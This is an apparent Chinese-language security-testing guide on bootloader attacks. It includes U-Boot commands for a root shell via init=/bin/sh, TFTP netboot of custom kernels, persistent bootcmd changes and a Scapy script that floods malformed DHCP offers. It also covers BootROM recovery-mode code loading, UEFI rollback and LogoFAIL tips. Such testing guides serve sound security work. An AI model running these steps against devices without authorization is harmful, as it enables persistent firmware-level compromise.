引导加载程序测试

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以下步骤建议用于修改设备启动配置并测试诸如 U-Boot 和 UEFI 类加载器的 bootloader。重点是获取早期代码执行、评估签名/回滚保护，并滥用恢复或网络启动路径。

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U-Boot 快速技巧与环境滥用

Access the interpreter shell

在启动过程中，在 bootcmd 执行之前按下已知的中断键（通常是任意键、0、空格或板级特定的“magic”序列）以进入 U-Boot 提示符。

Inspect boot state and variables

有用命令：
printenv (dump environment)
bdinfo (board info, memory addresses)
help bootm; help booti; help bootz (supported kernel boot methods)
help ext4load; help fatload; help tftpboot (available loaders)

Modify boot arguments to get a root shell

在 kernel 参数中追加 init=/bin/sh，让内核进入 shell 而不是正常的 init：

# printenv
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
# boot    # or: run bootcmd

Netboot from your TFTP server

配置网络并从局域网获取 kernel/fit 镜像：

# setenv ipaddr 192.168.2.2      # device IP
# setenv serverip 192.168.2.1    # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage           # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}

Persist changes via environment

如果环境存储不是只读的，你可以持久化控制：

# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv

检查诸如 bootcount、bootlimit、altbootcmd、boot_targets 之类会影响回退路径的变量。配置不当的值可能允许反复中断进入 shell。

Check debug/unsafe features

查找：bootdelay > 0、autoboot 被禁用、无限制的 usb start; fatload usb 0:1 ...、通过串口的 loady/loads、从不受信任媒体 env import、以及在加载时未进行签名检查的 kernels/ramdisks。

U-Boot image/verification testing

如果平台声称对 FIT 镜像进行安全/验证启动，尝试 unsigned 和被篡改的镜像：

# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr}     # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr}        # should only boot if key trusted

缺少 CONFIG_FIT_SIGNATURE/CONFIG_(SPL_)FIT_SIGNATURE 或采用旧式 verify=n 行为通常允许引导任意 payload。

Network-boot surface (DHCP/PXE) and rogue servers

PXE/DHCP parameter fuzzing

U-Boot 的 legacy BOOTP/DHCP 处理曾存在内存安全问题。例如，CVE‑2024‑42040 描述了通过精心构造的 DHCP 响应在网络上将 U-Boot 内存中的字节 leak 回来的内存泄露。使用过长/边界值参数（option 67 bootfile-name、vendor options、file/servername 字段）对 DHCP/PXE 路径进行测试，观察是否出现挂起或 leak。
用于在 netboot 期间对启动参数施压的最小 Scapy 示例：

python

from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)

还要验证当链到 OS 端配置脚本时，PXE 文件名字段是否在传递给 shell/loader 逻辑时缺乏清理。

Rogue DHCP server command injection testing

部署一个 rogue DHCP/PXE 服务，尝试在 filename 或 options 字段注入字符以到达后续启动链中的命令解释器。Metasploit 的 DHCP auxiliary、dnsmasq 或自定义 Scapy 脚本都很有效。先确保将实验室网络隔离。

SoC ROM 恢复模式（覆盖正常启动）

许多 SoC 提供一个 BootROM “loader” 模式，即使 flash 映像无效也会接受通过 USB/UART 传输的代码。如果 secure-boot fuses/OTP 未被烧录，这通常可以在链的很早阶段提供任意代码执行。

NXP i.MX (Serial Download Mode)
Tools: uuu (mfgtools3) or imx-usb-loader.
Example: imx-usb-loader u-boot.imx to push and run a custom U-Boot from RAM.
Allwinner (FEL)
Tool: sunxi-fel.
Example: sunxi-fel -v uboot u-boot-sunxi-with-spl.bin or sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000.
Rockchip (MaskROM)
Tool: rkdeveloptool.
Example: rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin to stage a loader and upload a custom U-Boot.

评估设备是否有 secure-boot eFuses/OTP 被烧录。如果没有，BootROM 下载模式通常会绕过任何更高层的验证（U-Boot、kernel、rootfs），直接从 SRAM/DRAM 执行你的第一阶段 payload。

UEFI/PC-class bootloaders: quick checks

ESP tampering and rollback testing

挂载 EFI System Partition (ESP) 并检查加载器组件：EFI/Microsoft/Boot/bootmgfw.efi、EFI/BOOT/BOOTX64.efi、EFI/ubuntu/shimx64.efi、grubx64.efi、vendor logo 路径。
如果 Secure Boot 的撤销列表（dbx）不是最新，尝试使用降级或已知存在漏洞的签名加载器组件。如果平台仍然信任旧的 shims/bootmanagers，通常可以从 ESP 加载自己的 kernel 或 grub.cfg 来获取持久性。

Boot logo parsing bugs (LogoFAIL class)

若干 OEM/IBV 固件在处理启动 logo 的 DXE 阶段存在图像解析缺陷。如果攻击者能够在 ESP 上的厂商特定路径（例如 \EFI\<vendor>\logo\*.bmp）放置精心构造的图像并重启，即使在启用了 Secure Boot 的情况下也可能在早期引导时触发代码执行。测试平台是否接受用户提供的 logo 以及这些路径是否可以从操作系统写入。

硬件注意事项

在早期启动期间操作 SPI/NAND flash（例如接地引脚以绕过读取）时要小心，并始终参考 flash 数据手册。时序错误的短接可能会损坏设备或编程器。

备注和额外提示

尝试 env export -t ${loadaddr} 和 env import -t ${loadaddr} 在 RAM 与存储之间移动环境 blob；一些平台允许从可移动媒体导入 env 而无需身份验证。
对于通过 extlinux.conf 启动的 Linux 系统，在没有签名检查的情况下，修改启动分区上的 APPEND 行（注入 init=/bin/sh 或 rd.break）通常就足够了以获取持久性。
如果 userland 提供 fw_printenv/fw_setenv，验证 /etc/fw_env.config 是否与真实的 env 存储匹配。配置错误的偏移会让你读/写错误的 MTD 区域。

参考资料

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